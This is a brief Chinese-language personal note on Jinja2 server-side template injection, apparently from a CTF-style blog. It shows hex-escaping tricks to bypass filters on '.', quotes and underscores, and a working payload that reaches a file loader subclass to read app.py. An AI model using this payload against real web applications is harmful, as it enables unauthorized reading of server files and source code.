【Web 笔记】关于 SSTI 注入及绕过

不是很懂原理,就记录下一些小技巧

绕过篇

绕过 . 与 ' 与 _

有一种写法,在模板注入时可以使用,但正常的 python 语法是不支持的。

在模板注入过程中,下面两种写法是等价的

1
2
{{"".__class__}}
{{""["\x5f\x5fclass\x5f\x5f"]}}

"\x5f"是字符 "_","\x2E"是字符 "."

那么,读取文件可以这样写(_frozen_importlib_external.FileLoader\ 的 get_data() 方法,第一个是参数 0,第二个是文件名:

1
2
3
{{""["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "app\x2Epy")}}
# 也就是
{{"".__class__.__bases__[0].__subclasses__()[91].get_data(0,"app.py")}}

参考链接:

1
2
https://www.jianshu.com/p/a736e39c3510
https://0day.work/jinja2-template-injection-filter-bypasses/
文章目录
  1. 1. 绕过篇
    1. 1.1. 绕过 . 与 ' 与 _
|